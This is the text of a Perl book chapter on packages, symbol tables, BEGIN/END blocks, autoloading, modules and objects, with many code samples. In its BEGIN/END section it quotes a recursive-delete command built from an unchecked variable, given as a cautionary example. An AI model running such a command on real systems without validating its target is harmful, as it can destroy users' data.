As we mentioned in the previous chapter, object-oriented programming in Perl is accomplished through use of references that happen to refer to thingies that know which class they're associated with. In fact, now that you know about references, you know almost everything hard about objects. The rest of it just "lays under the fingers", as a violinist would say. You will need to practice a little, though.

In this chapter we will discuss creation and use of packages, modules, and classes. Then we will review some of the essentials of object-oriented programming, explain how references become objects, and illustrate how these objects are manipulated as members of one or more classes. We'll also tell you how to tie ordinary variables into object classes to turn them into magical variables.

5.1 Packages

Perl provides a mechanism to protect different sections of code from inadvertently tampering with each other's variables. In fact, apart from certain magical variables, there's really no such thing as a global variable in Perl. Code is always compiled in the current package. The initial current package is package main, but at any time you can switch the current package to another one using the package declaration. The current package determines which symbol table is used for name lookups (for names that aren't otherwise package-qualified). The notion of "current package" is both a compile-time and run-time concept. Most name lookups happen at compile-time, but run-time lookups happen when symbolic references are dereferenced, and also when new bits of code are parsed under eval. In particular, eval operations know which package they were invoked in, and propagate that package inward as the current package of the evaluated code. (You can always switch to a different package within the eval string, of course, since an eval string counts as a block, as does a file loaded in with do, require, or use.)

The scope of a package declaration is from the declaration itself through the end of the innermost enclosing block (or until another package declaration at the same level, which hides the earlier one). All subsequent identifiers (except those declared with my, or those qualified with a different package name) will be placed in the symbol table belonging to the package. Typically, you would put a package declaration as the first declaration in a file to be included by require or use. But again, that's by convention. You can put a package declaration anywhere you can put a statement. You could even put it at the end of a block, in which case it would have no effect whatsoever. You can switch into a package in more than one place; it merely influences which symbol table is used by the compiler for the rest of that block. (This is how a given package can span more than one file.)

You can refer to identifiers[5] in other packages by prefixing ("qualifying") the identifier with the package name and a double colon: $Package::Variable. If the package name is null, the main package is assumed. That is, $::sail is equivalent to $main::sail.[6] (The old package delimiter was a single quote, which produced things like $main'sail and $'sail. But a double colon is now the preferred delimiter, in part because it's more readable to humans, and in part because it's more readable to emacs macros. It also gives C++ programmers a warm feeling.)

[5] By identifiers, we mean the names used as symbol table keys to access scalar variables, array variables, hash variables, functions, file or directory handles, and formats. Syntactically speaking, labels are also identifiers, but they aren't put into a particular symbol table; rather, they are attached directly to the statements in your program. Labels may not be package qualified.

[6] To clear up another bit of potential confusion, in a variable name like $main::sail, we use the term "identifier" to talk about main and sail, but not main::sail. We call that a variable name instead, because an identifier may not contain a colon. The definition of an identifier is lexical, in that an identifier is a token that matches the pattern /^[A-Za-z_][A-Za-z_0-9]*$/.

Packages may be nested inside other packages: $OUTER::INNER::var. This implies nothing about the order of name lookups, however. There are no fallback symbol tables. All undeclared symbols are either local to the current package, or must be fully qualified from the outer package name down. For instance, there is nowhere within package OUTER that $INNER::var refers to $OUTER::INNER::var. It would treat package INNER as a totally separate global package. Similarly, every package declaration must declare a complete package name. No package name ever assumes any kind of implied "prefix", even if (seemingly) declared within the scope of some other package declaration.

Only identifiers (names starting with letters or underscore) are stored in the current package's symbol table. All other symbols are kept in package main, including all the magical punctuation-only variables like $! and $_. In addition, the identifiers STDIN, STDOUT, STDERR, ARGV, ARGVOUT, ENV, INC, and SIG are forced to be in package main even when used for purposes other than their built-in ones. Furthermore, if you have a package called m, s, y, or tr, then you can't use the qualified form of an identifier as a filehandle because it will be interpreted instead as a pattern match, a substitution, or a translation. Using uppercase package names avoids this problem.

Assignment of a string to %SIG assumes the signal handler specified is in the main package, if the name assigned is unqualified. Qualify the signal handler name if you want to have a signal handler in a package, or don't use a string at all: assign a typeglob or a function reference instead:

$SIG{QUIT} = "quit_catcher";     # implies "main::quit_catcher"
$SIG{QUIT} = *quit_catcher;      # forces current package's sub
$SIG{QUIT} = \&quit_catcher;     # forces current package's sub
$SIG{QUIT} = sub { print "Caught SIGQUIT\n" };  # anonymous sub

See my and local in Chapter 3, Functions, for other scoping issues. See the "Signals" section in Chapter 6, Social Engineering, for more on signal handlers.

5.1.1 Symbol Tables

The symbol table for a package happens to be stored in a hash whose name is the same as the package name with two colons appended. The main symbol table's name is thus %main::, or %:: for short, since package main is the default. Likewise, the symbol table for the nested package we mentioned earlier is named %OUTER::INNER::. As it happens, the main symbol table contains all other top-level symbol tables, including itself, so %OUTER::INNER:: is also %main::OUTER::INNER::.

When we say that a symbol table "contains" another symbol table, we mean that it contains a reference to the other symbol table. Since package main is a top-level package, it contains a reference to itself, with the result that %main:: is the same as %main::main::, and %main::main::main::, and so on, ad infinitum. It's important to check for this special case if you write code to traverse all symbol tables.

The keys in a symbol table hash are the identifiers of the symbols in the symbol table. The values in a symbol table hash are the corresponding typeglob values. So when you use the *name typeglob notation, you're really just accessing a value in the hash that holds the current package's symbol table. In fact, the following have the same effect, although the first is potentially more efficient because it does the symbol table lookup at compile time:

local *somesym = *main::variable;
local *somesym = $main::{"variable"};

Since a package is a hash, you can look up the keys of the package, and hence all the variables of the package. Try this:

foreach $symname (sort keys %main::) {
    local *sym = $main::{$symname};
    print "\$$symname is defined\n" if defined $sym;
    print "\@$symname is defined\n" if defined @sym;
    print "\%$symname is defined\n" if defined %sym;
}

Since all packages are accessible (directly or indirectly) through package main, you can visit every package variable in the program, using code written in Perl. The Perl debugger does precisely that when you ask it to dump all your variables.

Assignment to a typeglob performs an aliasing operation; that is,

*dick = *richard;

causes everything accessible via the identifier richard to also be accessible via the symbol dick. If you only want to alias a particular variable or subroutine, assign a reference instead:

*dick = \$richard;

This makes $richard and $dick the same variable, but leaves @richard and @dick as separate arrays. Tricky, eh?

This mechanism may be used to pass and return cheap references into or from subroutines if you don't want to copy the whole thing:

%some_hash = ();
*some_hash = fn( \%another_hash );
sub fn {
    local *hashsym = shift;
    # now use %hashsym normally, and you
    # will affect the caller's %another_hash
    my %nhash = (); # populate this hash at will
    return \%nhash;
}

On return, the reference will overwrite the hash slot in the symbol table specified by the *some_hash typeglob. This is a somewhat sneaky way of passing around references cheaply when you don't want to have to remember to dereference variables explicitly. It only works on package variables though, which is why we had to use local there instead of my.

Another use of symbol tables is for making "constant" scalars:

*PI = \3.14159265358979;

Now you cannot alter $PI, which is probably a good thing, all in all.

When you do that assignment, you're just replacing one reference within the typeglob. If you think about it sideways, the typeglob itself can be viewed as a kind of hash, with entries for the different variable types in it. In this case, the keys are fixed, since a typeglob can contain exactly one scalar, one array, one hash, and so on. But you can pull out the individual references, like this:

*pkg::sym{SCALAR}      # same as \$pkg::sym
*pkg::sym{ARRAY}       # same as \@pkg::sym
*pkg::sym{HASH}        # same as \%pkg::sym
*pkg::sym{CODE}        # same as \&pkg::sym
*pkg::sym{GLOB}        # same as \*pkg::sym
*pkg::sym{FILEHANDLE}  # internal filehandle, no direct equivalent
*pkg::sym{NAME}        # "sym" (not a reference)
*pkg::sym{PACKAGE}     # "pkg" (not a reference)

This is primarily used to get at the internal filehandle reference, since the other internal references are already accessible in other ways. But we thought we'd generalize it because it looks kind of pretty. Sort of. You probably don't need to remember all this unless you're planning to write a Perl debugger. So let's get back to the topic of writing good software.

5.1.2 Package Constructors and Destructors: BEGIN and END

Two special subroutine definitions that function as package constructors and destructors[7] are the BEGIN and END routines. The sub is optional for these routines.

[7] Strictly speaking, these aren't constructors and destructors, but initializers and finalizers. And strictly speaking, packages aren't objects. But strictly speaking, we don't speak strictly around here too often.

A BEGIN subroutine is executed as soon as possible, that is, the moment it is completely defined, even before the rest of the containing file is parsed. You may have multiple BEGIN blocks within a file - they will execute in order of definition. Because a BEGIN block executes immediately, it can pull in definitions of subroutines and such from other files in time to be visible during compilation of the rest of the file. This is important because subroutine declarations change how the rest of the file will be parsed. At the very least, declaring a subroutine allows it to be used as a list operator, without parentheses. And if the subroutine is declared with a prototype, then calls to that subroutine may be parsed like any of several built-in functions (depending on which prototype is used).

An END subroutine, by contrast, is executed as late as possible, that is, when the interpreter is being exited, even if it is exiting as a result of a die function, or from an internally generated exception such as you'd get when you try to call an undefined function. (But not if it's is being blown out of the water by a signal - you have to trap that yourself (if you can).)[8] You may have multiple END blocks within a file - they will execute in reverse order of definition; that is: last in, first out (LIFO). That is so that related BEGINs and ENDs will nest the way you'd expect, if you pair them up.

[8] See the sigtrap pragmatic module described in Chapter 7 for an easy way to do this. For general information on signal handling, see "Signals" in Chapter 6.

When you use the -n and -p switches to Perl, BEGIN and END work just as they do in awk(1), as a degenerate case. For example, the output order of colors if you run the following program is red, green, and blue:

die "green\n";
END   { print "blue\n" }
BEGIN { print "red\n" }

Just as eval provides a way to get compilation behavior during run-time, so too BEGIN provides a way to get run-time behavior during compilation. But note that the compiler must execute BEGIN blocks even if you're just checking syntax with the -c switch. By symmetry, END blocks are also executed when syntax checking. Your END blocks should not assume that any or all of your main code ran. (They shouldn't do this in any event, since the interpreter might exit early from an exception.) This is not a bad problem in general. At worst, it means you should test the "definedness" of a variable before doing anything rash with it. In particular, before saying something like:

system "rm -rf '$dir'"

you should always check that $dir contains something meaningful, whether or not you're doing it in an END block. Caveat destructor.

5.1.3 Autoloading

Normally you can't call a subroutine that isn't defined. However, if there is a subroutine named AUTOLOAD in the undefined subroutine's package (or in the case of an object method, in the package of any of the object's base classes), then the AUTOLOAD subroutine is called with the same arguments as would have been passed to the original subroutine. The fully qualified name of the original subroutine magically appears in the package-global $AUTOLOAD variable, in the same package as the AUTOLOAD routine.

Most AUTOLOAD routines will load a definition for the undefined subroutine in question using eval or require, then execute that subroutine using a special form of goto that erases the stack frame of the AUTOLOAD routine without a trace.

The standard AutoSplit module is a tool used by module writers to help split their modules into separate files (with filenames ending in .al), each holding one routine. The files are placed in the auto/ directory of the Perl library. These files can then be loaded on demand by the standard AutoLoader module. A similar approach is taken by the SelfLoader module, except that it autoloads functions from the file's own DATA area (which is less efficient in some ways and more efficient in others). Autoloading of Perl functions is analogous to dynamic loading of compiled C functions, except that autoloading (as practiced by AutoLoader and SelfLoader) is done at the granularity of the function call, whereas dynamic loading (as practiced by the DynaLoader module) is done at the granularity of the complete module, and will usually link in many C or C++ functions all at once. (See also the AutoLoader, SelfLoader, and DynaLoader modules in Chapter 7.)

But an AUTOLOAD routine can also just emulate the routine and never define it. For example, let's pretend that any function that isn't defined should just call system with its arguments. All you'd do is this:

sub AUTOLOAD {
    my $program = $AUTOLOAD;
    $program =~ s/.*:://;  # trim package name
    system($program, @_);
}
date();
who('am', 'i');
ls('-l');

In fact, if you predeclare the functions you want to call that way, you don't even need the parentheses:

use subs qw(date who ls);
date;
who "am", "i";
ls "-l";

A more complete example of this is the standard Shell module described in Chapter 7, which can treat undefined subroutine calls as calls to programs.

Previous: 4.7 Data Structure Code Examples | Programming Perl | Next: 5.2 Modules
4.7 Data Structure Code Examples | Book Index | 5.2 Modules


[Chapter 5] 5.2 Modules

Programming PerlSearch this book

5.2 Modules

A module is just a reusable package that is defined in a library file whose name is the same as the name of the package (with a .pm on the end). A module may provide a mechanism for exporting some of its symbols into the symbol table of any other package using it. Or it may function as a class definition and make its operations available implicitly through method calls on the class and its objects, without explicitly exporting any symbols. Or it can do a little of both.

Most exporter modules rely on the customary exportation semantics supplied by the Exporter module. For example, to create an exporting module called Fred, create a file called Fred.pm and put this at the start of it:

package      Fred;
require      Exporter;
@ISA       = qw(Exporter);
@EXPORT    = qw(func1 func2);
@EXPORT_OK = qw($sally @listabob %harry func3);

Then go on to declare and use your variables and functions without any qualifications. See the Exporter module documentation in Chapter 7 for further information on the mechanics and style issues in module creation.

Perl modules are included in your program by saying:

use Module;

or:

use Module LIST;

This preloads Module at compile time, and then imports from it the symbols you've requested, either implicitly or explicitly. If you do not supply a list of symbols in a LIST, then the list from the module's @EXPORT array is used. (And if you do supply a LIST, all your symbols should be mentioned in either @EXPORT or @EXPORT_OK, or an error will result.) The two declarations above are exactly equivalent to:

BEGIN {
    require "Module.pm";
    Module->import();
}

or:

BEGIN {
    require "Module.pm";
    Module->import(LIST);
}

(We said that the first example above defaults to using the module's @EXPORT list, but that is a bit of a fib. It does this if the module uses the standard Exporter semantics. But a module can do anything it jolly well pleases when you do an import, since use just calls the ordinary import() method for the module, as above, and that method can be defined to do anything. Well, almost anything.)

Sometimes you might not wish to import anything from a module that exports things by default. As a special case, you can say:

use Module ();

which is exactly equivalent to

BEGIN { require "Module.pm"; }

Note that any initialization code in the Module is still run, as it would be for an ordinary require. It's only the import that is suppressed. If you really don't care whether the module is pulled in at compile-time or run-time, you can just say:

require Module;

This is slightly preferred over require "Module.pm"; because it introduces Module as a package, which can clarify certain error messages that the parser might emit.

All Perl module files have the extension .pm. Both use and require will assume this (as well as the quotes) so that you don't have to spell out "Module.pm". This helps to differentiate new modules from the .pl and .ph files used by prior versions of Perl. Module names are also capitalized unless they're functioning as pragmas. Pragmas are in effect compiler directives, and such modules are sometimes called "pragmatic modules" - or even "pragmata" if you're a classicist.

Because the use declaration (in any form) implies a BEGIN block, the module is loaded (and any executable initialization code in it run) as soon as the use declaration is compiled, before the rest of the file is compiled. This is how use is able to function as a pragma mechanism to change the compiler's behavior, and also how modules are able to declare subroutines that are then visible as (unqualified) list operators for the rest of the current file. If, on the other hand, you invoke require instead of use, you must explicitly qualify any invocation of routines within the required package.

require Cwd;    # make Cwd:: accessible with qualification
$here = Cwd::getcwd();

use Cwd;        # import names from Cwd:: -- no qualification necessary
$here = getcwd();

In general, use is recommended over require because you get your error messages sooner. But require is useful for pulling in modules lazily at run-time.

Perl packages may be nested inside other packages, so we can have package names containing "::". But such compound names don't work well as filenames on many systems. Therefore, if a module's name is, say, Text::Soundex, then its definition is actually found in the library file Text/Soundex.pm (or whatever the equivalent pathname is on your system).

Perl modules always load a .pm file, but there may also be dynamically linked executables or autoloaded subroutine definitions associated with the module. If so, these will be entirely transparent to the user of the module. It is the responsibility of the .pm file to load (or arrange to autoload) any additional functionality. The POSIX module happens to do both dynamic loading and autoloading, but the user can just say

use POSIX;

to get it all.

5.2.1 Access to Modules

Perl does not patrol private/public borders within its modules - unlike languages such as C++, Ada, and Modula-17, Perl isn't infatuated with enforced privacy. As we mentioned at the beginning of the chapter, a Perl module would prefer that you stayed out of its living room because you weren't invited, not because it has a shotgun.

The module and its user have a contract, part of which is common law and part of which is written. Part of the common law contract is that a module doesn't pollute any namespace it wasn't asked to pollute. The written contract for the module (that is, the documentation) may make other provisions. But then, having read the written contract, you presumably know that when you say:

use RedefineTheWorld;

you're redefining the world, and you're willing to take the consequences. The next section talks about one way to redefine parts of the world.

5.2.2 Overriding Built-in Functions

Many built-in functions may be overridden, although (like knocking holes in your walls) you should only try this occasionally and for good reason. Typically, this might be done by a package attempting to emulate missing built-in functionality on a non-UNIX system. (Do not confuse overriding with overloading, which adds additional object-oriented meanings to built-in operators, but doesn't override much of anything. See the discussion of the overload module in Chapter 7 for more on that.)

Overriding may be done only by importing the name from a module - ordinary predeclaration isn't good enough. To be perfectly forthcoming, it's the assignment of a code reference to a typeglob that triggers the override, as in *open = \&myopen, which is how importing of functions is implemented. Furthermore, the assignment must occur in some other package; this makes unintentional overriding through typeglob aliasing more difficult. However, if you really want to do your own overriding, don't despair, because the subs pragma lets you predeclare subroutines via the import syntax, and these names may then override the built-in ones:

use subs qw(chdir chroot chmod chown);
chdir $somewhere;
sub chdir { ... }

Library modules should not in general export built-in names like open or chdir as part of their default @EXPORT list, since these names may sneak into someone else's namespace and change the semantics unexpectedly. Instead, if the module adds the name to the @EXPORT_OK list, then it's possible for users to import the name explicitly, but not implicitly. That is, they could say

use Module 'open';

and it would import the open override, but if they said

use Module;

they would get the default imports without the overrides.

The original versions of the built-in functions are always accessible via the CORE pseudopackage. Therefore, CORE::chdir() will always be the version that Perl was compiled with, even if the regular chdir function has been overridden.

Previous: 5.1 Packages | Programming Perl | Next: 5.3 Objects
5.1 Packages | Book Index | 5.3 Objects


[Chapter 5] 5.3 Objects

Programming PerlSearch this book

5.3 Objects

First of all, you need to understand packages and modules as previously described in this chapter. You also need to know what references and referenced thingies are in Perl; see Chapter 4, References and Nested Data Structures, for that.

It's also helpful to understand a little about object-oriented programming (OOP), so in the next section we'll give you a little course on OOL (object-oriented lingo).

5.3.1 Brief Refresher on Object-Oriented Programming

An object is a data structure with a collection of behaviors. We generally speak of behaviors as being performed by the object directly, sometimes to the point of anthropomorphizing the object. For example, we might say that a rectangle "knows" how to display itself on the screen, or "knows" how to compute its own area.

An object gets its behaviors by being an instance of a class. The class defines methods that apply to all objects belonging to that class, called instance methods.

The class will also likely include instance-independent methods, called class methods.[9] Some class methods create new objects of the classes, and are called constructor methods (such as "create a new rectangle with width 10 and height 5"). Other class methods might perform operations on many objects collectively ("display all rectangles"), or provide other necessary operations ("read a rectangle from this file").

[9] Or sometimes static methods.

A class may be defined so as to inherit both class and instance methods from parent classes, also known as base classes. This allows a new class to be created that is similar to an existing class, but with added behaviors. Any method invocation that is not found in a particular class will be searched for in the parent classes automatically. For example, a rectangle class might inherit some common behaviors from a generic polygon class.

While you might know the particular implementation of an object, generally you should treat the object as a black box. All access to the object should be obtained through the published interface via the provided methods. This allows the implementation to be revised, as long as the interface remains frozen (or at least, upward compatible). By published interface, we mean the written documentation describing how to use a particular class. (Perl does not have an explicit interface facility apart from this. You are expected to exercise common sense and common decency.)

Objects of different classes may be held in the same variable at different times. When a method is invoked on the contents of the variable, the proper method for the object's class gets selected automatically. If, for example, the draw() method is invoked on a variable that holds either a rectangle or a circle, the method actually used depends on the current nature of the object to which the variable refers. For this to work, however, the methods for drawing circles and rectangles must both be called draw().

Admittedly, there's a lot more to objects than this, and a lot of ways to find out more. But that's not our purpose here. So, on we go.

5.3.2 Perl's Objects

Here are three simple definitions that you may find reassuring:

  • An object is simply a referenced thingy that happens to know which class it belongs to.

  • A class is simply a package that happens to provide methods to deal with objects.

  • A method is simply a subroutine that expects an object reference (or a package name, for class methods) as its first argument.

We'll cover these points in more depth now.

5.3.3 An Object Is Simply a Referenced Thingy

Perl doesn't provide any special syntax for constructors. A constructor is merely a subroutine that returns a reference to a thingy that it has blessed into a class, generally the class in which the subroutine is defined. The constructor does this using the built-in bless function, which marks a thingy as belonging to a particular class. It takes either one or two arguments: the first argument is a regular hard reference to any kind of thingy, and the second argument (if present) is the package that will own the thingy. If no second argument is supplied, the current package is assumed. Here is a typical constructor:

package Critter;
sub new { return bless {}; }

The {} composes a reference to an empty anonymous hash. The bless function takes that hash reference and tells the thingy it references that it's now a member of the class Critter, and returns the reference. The same thing can be accomplished more explicitly this way:

sub new {
    my     $obref = {};         # ref to empty hash
    bless  $obref;              # make it an object in this class
    return $obref;              # return it
}

Once a reference has been blessed into a class, you can invoke the class's instance methods upon it. For example:

$circle->draw();

We'll discuss method invocation in more detail below.

Sometimes constructors call other methods in the class as part of the construction. Here we'll call an _initialize() method, which may be in the current package or in one of the classes (packages) that this class inherits from. The leading underscore is an oft-used convention indicating that the function is private, that is, to be used only by the class itself. This result can also be achieved by omitting the function from the published documentation for that class.

sub new {
    my $self = {}
    bless $self;
    $self->_initialize();
    return $self;
}

If you want your constructor method to be (usefully) inheritable, then you must use the two-argument form of bless. That's because, in Perl, methods execute in the context of the original base class rather than in the context of the derived class. For example, suppose you have a Polygon class that had a new() method as a constructor. This would work fine when called as Polygon->new(). But then you decide to also have a Square class, which inherits methods from the Polygon class. The only way for that constructor to build an object of the proper class when it is called as Square->new() is by using the two-argument form of bless, as in the following example:

sub new {
    my $class = shift;
    my $self = {};
    bless $self, $class;        # bless $self into the designated class
    $self->_initialize();       # in case there's more work to do
    return $self;
}

Within the class package, methods will typically deal with the reference as an ordinary (unblessed) reference to a thingy. Outside the class package, the reference should generally be treated as an opaque value that may only be accessed through the class's methods. (Mutually consenting classes may of course do whatever they like with each other, but even that doesn't necessarily make it right.)

A constructor may re-bless a referenced object currently belonging to another class, but then the new class is responsible for all cleanup later. The previous blessing is forgotten, as an object may only belong to one class at a time. (Although of course it's free to inherit methods from many classes.)

A clarification: Perl objects are blessed. References are not. Thingies know which package they belong to. References do not. The bless operator simply uses the reference in order to find the thingy. Consider the following example:

$a = {};            # generate reference to hash
$b = $a;            # reference assignment (shallow)
bless $b, Mountain;
bless $a, Fourteener;
print "\$b is a ", ref($b), "\n";

This reports $b as being a member of class Fourteener, not a member of class Mountain, because the second blessing operates on the underlying thingy that $a refers to, not on the reference itself. Thus is the first blessing forgotten.

5.3.4 A Class Is Simply a Package

Perl doesn't provide any special syntax for class definitions. You just use a package as a class by putting method definitions into the class.

Within each package a special array called @ISA tells Perl where else to look for a method if it can't find the method in that package. This is how Perl implements inheritance. Each element of the @ISA array is just the name of another package that happens to be used as a class. The packages are recursively searched (depth first) for missing methods, in the order that packages are mentioned in @ISA. This means that if you have two different packages (say, Mom and Dad) in a class's @ISA, Perl would first look for missing methods in Mom and all of her ancestor classes before going on to search through Dad and his ancestors. Classes accessible through @ISA are known as base classes of the current class, which is itself called the derived class.[10]

[10] Instead of "base class" and "derived class", some OOP literature uses superclass for the more generic classes and subclass for the more specific ones. Confusing the issue further, some literature uses "base class" to mean a "most super" superclass. That's not what we mean by it.

If a missing method is found in one of the base classes, Perl internally caches that location in the current class for efficiency, so the next time it has to find the method, it doesn't have to look so far. Changing @ISA or defining new subroutines invalidates this cache and causes Perl to do the lookup again.

If a method isn't found but an AUTOLOAD routine is found, then that routine is called on behalf of the missing method, with that package's $AUTOLOAD variable set to the fully qualified method name.

If neither a method nor an AUTOLOAD routine is found in @ISA, then one last, desperate try is made for the method (or an AUTOLOAD routine) in the special pre-defined class called UNIVERSAL. This package does not initially contain any definitions (although see CPAN for some), but you may place your "last-ditch" methods there. Think of it as a global base class from which all other classes implicitly derive.

If that method still doesn't work, Perl finally gives up and complains by raising an exception.

Perl classes do only method inheritance. Data inheritance is left up to the class itself. By and large, this is not a problem in Perl, because most classes model the attributes of their object using an anonymous hash. All the object's data fields (termed "instance variables" in some languages) are contained within this anonymous hash instead of being part of the language itself. This hash serves as its own little namespace to be carved up by the various classes that might want to do something with the object. For example, if you want an object called $user_info to have a data field named age, you can simply access $user_info->{age}. No declarations are necessary. See the section on "Instance Variables" under "Some Hints About Object Design" later in this chapter.

5.3.5 A Method Is Simply a Subroutine

Perl doesn't provide any special syntax for method definition. (It does provide a little syntax for method invocation, though. More on that later.) A method expects its first argument to indicate the object or package it is being invoked on.

5.3.5.1 Class methods

A class method expects a class (package) name as its first argument. (The class name isn't blessed; it's just a string.) These methods provide functionality for the class as a whole, not for any individual object instance belonging to the class. Constructors are typically written as class methods. Many class methods simply ignore their first argument, since they already know what package they're in, and don't care what package they were invoked via. (These aren't necessarily the same, since class methods follow the inheritance tree just like ordinary instance methods.)

Another typical use for class methods might be to look up an object by some nickname in a global registry:

sub find {
    my ($class, $nickname) = @_;
    return $objtable{$nickname};
}

5.3.5.2 Instance methods

An instance method expects an object reference[11] as its first argument. Typically it shifts the first argument into a private variable (often called $self or $this depending on the cultural biases of the programmer), and then it uses the variable as an ordinary reference:

[11] By which we mean simply an ordinary hard reference that happens to point to an object thingy. Remember that the reference itself doesn't know or care whether its thingy is blessed.

sub display {
    my $self = shift;
    my @keys;
    if (@_ == 0) {                  # no further arguments
        @keys = sort keys(%$self);
    }  else {
        @keys = @_;                 # use the ones given
    }
    foreach $key (@keys) {
        print "\t$key => $self->{$key}\n";
    }
}

Despite being counterintuitive to object-oriented novices, it's a good idea not to check the type of object that caused the instance method to be invoked. If you do, it can get in the way of inheritance.

5.3.5.3 Dual-nature methods

Because there is no language-defined distinction between definitions of class methods and instance methods (nor arbitrary functions, for that matter), you could actually have the same method work for both purposes. It just has to check whether it was passed a reference or not. Suppose you want a constructor that can figure out its class from either a classname or an existing object. Here's an example of the two uses of such a method:

$ob1  = StarKnight->new();
$luke = $ob1->new();

Here's how such a method might be defined. We use the ref function to find out the type of the object the method was called on so our new object can be blessed into that class. If ref returns false, then our $self argument isn't an object, so it must be a class name.

package StarKnight;
sub new {
    my $self  = shift;
    my $type  = ref($self) || $self;
    return bless {}, $type;
}

5.3.6 Method Invocation

Perl supports two different syntactic forms for explicitly invoking class or instance methods.[12] Unlike normal function calls, method calls always receive, as their first parameter, the appropriate class name or object reference upon which they were invoked.

[12] Methods may also be called implicitly due to object destructors, tied variables, or operator overloading. Properly speaking, none of these is a function invocation. Rather, Perl uses the information presented via the syntax to determine which function to call. Operator overloading is implemented by the standard overload module as described separately in Chapter 7.

The first syntax form looks like this:

METHOD CLASS_OR_INSTANCE LIST

Since this is similar to using the filehandle specification with print or printf, and also similar to English sentences like "Give the dog the bone," we'll call it the indirect object form. To look up an object with the class method find, and to print out some of its attributes with the instance method display, you could say this:

$fred = find Critter "Fred";
display $fred 'Height', 'Weight';

The indirect object form allows a BLOCK returning an object (or class) in the indirect object slot, so you can combine these into one statement:

display { find Critter "Fred" } 'Height', 'Weight';

The second syntax form looks like this:

CLASS_OR_INSTANCE->METHOD(LIST)

This second syntax employs the -> notation. It is sometimes called the object-oriented syntax. The parentheses are required if there are any arguments, because this form can't be used as a list operator, although the first form can.

$fred = Critter->find("Fred");
$fred->display('Height', 'Weight');

Or, you can put the above in only one statement, like this:

Critter->find("Fred")->display('Height', 'Weight');

There are times when one syntax is more readable, and times when the other syntax is more readable. The indirect object syntax is less cluttered, but it has the same ambiguity as ordinary list operators. If there is an open parenthesis following the class or object, then the matching close parenthesis terminates the list of arguments. Thus, the parentheses of

new Critter ('Barney', 1.5, 70);

are assumed to surround all the arguments of the method call, regardless of what comes afterward. Therefore, saying

new Critter ('Bam' x 2), 1.4, 45;

would be equivalent to

Critter->new('Bam' x 2), 1.4, 45;

which is unlikely to do what you want since the 1.4 and 45 are not being passed to the new() routine.

There may be occasions when you need to specify which class's method to use. In that case, you could call your method as an ordinary subroutine call, being sure to pass the requisite first argument explicitly:

$fred = MyCritter::find("Critter", "Fred");
MyCritter::display($fred, 'Height', 'Weight');

However, this does not do any inheritance. If you merely want to specify that Perl should start looking for a method in a particular package, use an ordinary method call, but qualify the method name with the package like this:

$fred = Critter->MyCritter::find("Fred");
$fred->MyCritter::display('Height', 'Weight');

If you're trying to control where the method search begins and you're executing in the class package itself, then you may use the SUPER pseudoclass, which says to start looking in your base class's @ISA list without having to explicitly name it:

$self->SUPER::display('Height', 'Weight');

The SUPER construct is meaningful only when used inside the class methods; while writers of class modules can employ SUPER in their own code, people who merely use class objects cannot.

Sometimes you want to call a method when you don't know the method name ahead of time. You can use the arrow form, replacing the method name with a simple scalar variable (not an expression or indexed aggregate) containing the method name:

$method = $fast ? "findfirst" : "findbest";
$fred->$method(@args);

We mentioned that the object-oriented notation is less syntactically ambiguous than the indirect object notation, even though the latter is less cluttered. Here's why: An indirect object is limited to a name, a scalar variable, or a BLOCK.[13] (If you try to put anything more complicated in that slot, it will not be parsed as you expect.) The left side of -> is not so limited. This means that A and B below are equivalent to each other, and C and D are also equivalent, but A and B differ from C and D:

[13] Attentive readers will recall that this is precisely the same list of syntactic items that are allowed after a funny character to indicate a variable dereference - for example, @ary, @$aryref, or @{$aryref}.

A: method $obref->{fieldname}
B: (method $obref)->{fieldname}

C: $obref->{fieldname}->method()
D: method {$obref->{fieldname}}

In A and B, the method applies to $obref, which must yield a hash reference with "fieldname" as a key. In C and D the method applies to $obref->{fieldname}, which must evaluate to an object appropriate for the method.

5.3.7 Destructors

When the last reference to an object goes away, the object is automatically destroyed. (This may even be after you exit, if you've stored references in global variables.) If you want to capture control just before the object is freed, you may define a DESTROY method in your class. It will automatically be called at the appropriate moment, and you can do any extra cleanup you desire. (Perl does the memory management cleanup for you automatically.)

Perl does not do nested destruction for you. If your constructor re-blessed a reference from one of your base classes, your DESTROY method may need to call DESTROY for any base classes that need it. But this only applies to re-blessed objects; an object reference that is merely contained within the current object - as, for example, one value in a larger hash - will be freed and destroyed automatically. This is one of the reasons why containership via mere aggregation (sometimes called a "has-a" relationship) is often cleaner and clearer than inheritance (an "is-a" relationship). In other words, often you really only need to store one object inside another directly instead of employing inheritance, which can add unnecessary complexity.

5.3.8 Method Autoloading

After Perl has vainly looked through an object's class package and the packages of its base classes to find a method, it also checks for an AUTOLOAD routine in each package before concluding that the method can't be found. One could use this property to provide an interface to the object's data fields (instance variables) without writing a separate function for each. Consider the following code:

use Person;
$him = new Person;
$him->name("Jason");
$him->age(23);
$him->peers( ["Norbert", "Rhys", "Phineas"] );
printf "%s is %d years old.\n", $him->name, $him->age;
print "His peers are: ", join(", ", @{$him->peers}), ".\n";

The Person class implements a data structure containing three fields: name, age, and peers. Instead of accessing the objects' data fields directly, you use supplied methods to do so. To set one of these fields, call a method of that name with an argument of the value the field should be set to. To retrieve one of the fields without setting it, call the method without an argument. Here's the code that does that:

package Person;
use Carp;       # see Carp.pm in Chapter 7

my %fields = (
    name        => undef,
    age         => undef,
    peers       => undef,
);

sub new {
    my $that  = shift;
    my $class = ref($that) || $that;
    my $self  = {
        %fields,
    };
    bless $self, $class;
    return $self;
}

sub AUTOLOAD {
    my $self = shift;
    my $type = ref($self) || croak "$self is not an object";
    my $name = $AUTOLOAD;
    $name =~ s/.*://;   # strip fully-qualified portion
    unless (exists $self->{$name} ) {
        croak "Can't access `$name' field in object of class $type";
    }
    if (@_) {
        return $self->{$name} = shift;
    } else {
        return $self->{$name};
    }
}

As you see, there isn't really a method named name(), age(), or peers() to be found anywhere. The AUTOLOAD routine takes care of all of these. This class is a fairly generic implementation of something analogous to a C structure. A more complete implementation of this notion can be found in the Class::Template module contained on CPAN. The Alias module found there may also prove useful for simplifying member access.[14]

[14] CPAN is the Comprehensive Perl Archive Network, as described in the Preface.

5.3.9 A Note on Garbage Collection

High-level languages typically allow the programmers to dispense with worrying about deallocating memory when they're done using it. This automatic reclamation process is known as garbage collection. For most purposes, Perl uses a fast and simple, reference-based garbage collection system. One serious concern is that unreachable memory with a non-zero reference count will normally not get freed. Therefore, saying this is a bad idea:

{               # make $a and $b point to each other
    my($a, $b);
    $a = \$b;
    $b = \$a;
}

or more simply:

{               # make $a point to itself
    my $a;
    $a = \$a;
}

